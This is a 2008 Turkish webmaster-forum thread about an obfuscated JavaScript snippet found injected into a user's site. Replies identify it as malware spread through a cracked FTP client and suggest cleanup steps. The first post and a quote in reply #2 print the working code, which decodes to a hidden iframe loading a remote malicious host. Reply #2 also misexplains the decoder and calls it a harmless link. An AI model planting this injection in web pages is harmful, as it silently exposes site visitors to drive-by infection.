• 30-09-2008, 19:03:46
    #1
    R10 Sigortacısı
    <!-- o --><script type="text/javascript">function jgouxhcixerkio(gqnfvwqckkaxvgg){var xlwqrzxo="";for(mxkoehci=0;mxkoehci<gqnfvwqckkaxvgg.length;mxkoehci+=2){xlwqrzxo+=(String.fromCharCode(parseInt(gqnfvwqckkaxvgg.substr(mxkoehci,2),16)));}document.write(xlwqrzxo);}jgouxhcixerkio("3C696672wqxeru61wqxeru6Dwqxeru65wqxeru20wqxeru737263wqxeru3D22wqxeru68wqxeru747470wqxeru3Awqxeru2F2Fwqxeru676Fwqxeru6Fwqxeru67wqxeru6C652Dwqxeru73wqxeru746174732E636E2F7371wqxeru6Cwqxeru2Fwqxeru69wqxeru6Ewqxeru2Ewqxeru636769wqxeru3Fwqxeru646566wqxeru6175wqxeru6C7422wqxeru206672wqxeru61wqxeru6D65626Fwqxeru72wqxeru6465wqxeru723Dwqxeru22wqxeru30wqxeru222062wqxeru6Fwqxeru7264wqxeru65wqxeru72wqxeru3Dwqxeru2230222077wqxeru69wqxeru6474683Dwqxeru22wqxeru3022206865wqxeru69676874wqxeru3Dwqxeru22wqxeru30wqxeru22wqxeru2073wqxeru74wqxeru79wqxeru6C65wqxeru3Dwqxeru22706Fwqxeru73wqxeru6974wqxeru696Fwqxeru6E3A2061wqxeru62wqxeru736Fwqxeru6C7574653Bwqxeru20wqxeru76wqxeru6973wqxeru6962696Cwqxeru69wqxeru74wqxeru79wqxeru3A20wqxeru68wqxeru69wqxeru6464656E3Bwqxeru20wqxeru64wqxeru69wqxeru73wqxeru706Cwqxeru61wqxeru79wqxeru3A206Ewqxeru6F6E65wqxeru223E3C2Fwqxeru69wqxeru66wqxeru7261wqxeru6D653Ewqxeru".replace(/wqxeru/g, ""));</script><!-- c -->
    Alttaki web sitesinde gördüm ve anlam vermedim.

    function jgouxhcixerkio - Google'da Ara
  • 30-09-2008, 23:20:12
    #2
    Üyeliği durduruldu
    white35 adlı üyeden alıntı: mesajı görüntüle
    <!-- o --><script type="text/javascript">function jgouxhcixerkio(gqnfvwqckkaxvgg){var xlwqrzxo="";for(mxkoehci=0;mxkoehci<gqnfvwqckkaxvgg.length;mxkoehci+=2){xlwqrzxo+=(String.fromCharCode(parseInt(gqnfvwqckkaxvgg.substr(mxkoehci,2),16)));}document.write(xlwqrzxo);}jgouxhcixerkio("3C696672wqxeru61wqxeru6Dwqxeru65wqxeru20wqxeru737263wqxeru3D22wqxeru68wqxeru747470wqxeru3Awqxeru2F2Fwqxeru676Fwqxeru6Fwqxeru67wqxeru6C652Dwqxeru73wqxeru746174732E636E2F7371wqxeru6Cwqxeru2Fwqxeru69wqxeru6Ewqxeru2Ewqxeru636769wqxeru3Fwqxeru646566wqxeru6175wqxeru6C7422wqxeru206672wqxeru61wqxeru6D65626Fwqxeru72wqxeru6465wqxeru723Dwqxeru22wqxeru30wqxeru222062wqxeru6Fwqxeru7264wqxeru65wqxeru72wqxeru3Dwqxeru2230222077wqxeru69wqxeru6474683Dwqxeru22wqxeru3022206865wqxeru69676874wqxeru3Dwqxeru22wqxeru30wqxeru22wqxeru2073wqxeru74wqxeru79wqxeru6C65wqxeru3Dwqxeru22706Fwqxeru73wqxeru6974wqxeru696Fwqxeru6E3A2061wqxeru62wqxeru736Fwqxeru6C7574653Bwqxeru20wqxeru76wqxeru6973wqxeru6962696Cwqxeru69wqxeru74wqxeru79wqxeru3A20wqxeru68wqxeru69wqxeru6464656E3Bwqxeru20wqxeru64wqxeru69wqxeru73wqxeru706Cwqxeru61wqxeru79wqxeru3A206Ewqxeru6F6E65wqxeru223E3C2Fwqxeru69wqxeru66wqxeru7261wqxeru6D653Ewqxeru".replace(/wqxeru/g, ""));</script><!-- c -->
    Alttaki web sitesinde gördüm ve anlam vermedim.
    function jgouxhcixerkio - Google'da Ara
    örnek vermek için uraştım da yapamadım.

    function jgouxhcixerkio !

    bu fonksiyon verilen bi kodu decode edior.

    örneğin
    wqxeru => g ye dönüşüyor.. sonra da bunu ekrana yazıyor. buyuk ihitmal silinmemesi gereken link falandır. başındako " o " ve " c " yi silince sitede bozulan bişey gördüysen işte ona yarıyo (:

    bunu anLadım
  • 30-09-2008, 23:55:58
    #3
    Üyeliği durduruldu
    Zararlı kod , kaldır sitenden . Link ile alakalı olan birşey değil .
  • 01-10-2008, 01:23:49
    #4
    R10 Sigortacısı
    ZeberuS adlı üyeden alıntı: mesajı görüntüle
    Zararlı kod , kaldır sitenden . Link ile alakalı olan birşey değil .
    zararlı ancak amacı neydi? Bir anda asp ye nasıl yapıştı?

    Aslında tam olarak sorularım bunlar. :/

    Yardımcı olabilecek varsa çok mutlu olurum.
  • 01-10-2008, 01:24:48
    #5
    asıl kodu gizlemek için çok uğraşmışlar. kesinlikle zararlı bir şey olmalı.
  • 01-10-2008, 02:54:43
    #6
    Üyeliği durduruldu
    arkadaslar bu bir virus.
    kendini otomatik olarak ftpdeki tüm indexlere yerleştirir..
    index.asp index.php index.html v.s
    siz silersiniz o yinede gelir..
    Cute Ftpnin crackli sürümüyle bulasır genelde..
  • 26-11-2008, 19:58:20
    #7
    Üyeliği durduruldu
    banada bulaştı, arkadaşın dediği gibi cute ftp nin cracklisini kullanıyorum, ve crackli ftp programını kullandıktan sonra oldu, bu konu hakkında ne yapabiliriz, kalıcı olarak nasıl temizleriz, fikri olan varmıdır
  • 26-11-2008, 20:02:13
    #8
    programı kaldırın,
    virüs taraması yapı
    file zilla kullanın